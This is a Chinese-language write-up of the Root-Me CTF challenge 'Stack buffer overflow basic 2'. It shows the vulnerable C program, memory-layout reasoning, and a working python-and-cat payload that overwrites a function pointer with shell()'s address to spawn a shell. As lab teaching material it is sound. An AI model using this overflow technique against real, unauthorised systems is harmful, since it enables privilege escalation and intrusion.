Stack buffer overflow basic 2

ELF x86 - Stack buffer overflow basic 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

void shell() {
setreuid(geteuid(), geteuid());
system("/bin/bash");
}

void sup() {
printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");
}

void main()
{
int var;
void (*func)()=sup;
char buf[128];
fgets(buf,133,stdin);
func();
}

反汇编代码

DCSycj.jpg

获取输入后,调用eax寄存器中函数
输入存在ebp-0x8c, ebp-0xc 处保存着sup函数地址, 我们要做的就是将该地址换为shell()函数地址

查看内存

DCp9vd.jpg

128字节后,即0xbffffa9c(ebp-0xc)处保存sup()函数地址
所以可以直接溢出

替换为shell()

查看shell()函数地址
DCpgRe.jpg
0x08048516

palyload

(python -c 'print "a"*128+"08048516".decode("hex")[::-1]';cat) | ./ch15
“08048516”.decode(“hex”) 十六进制表示,所以用十六进制解码

┌─[✗]─[zentreisender@parrotos]─[~/Documents/root_me/app_system]
└──╼ $python
Python 2.7.18 (default, Apr 20 2020, 20:30:41) 
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "08048516".decode("hex")
'\x08\x04\x85\x16'
>>> "08048516".encode("hex")
'3038303438353136'
>>> 

注意python中的' "
DC9Ay9.jpg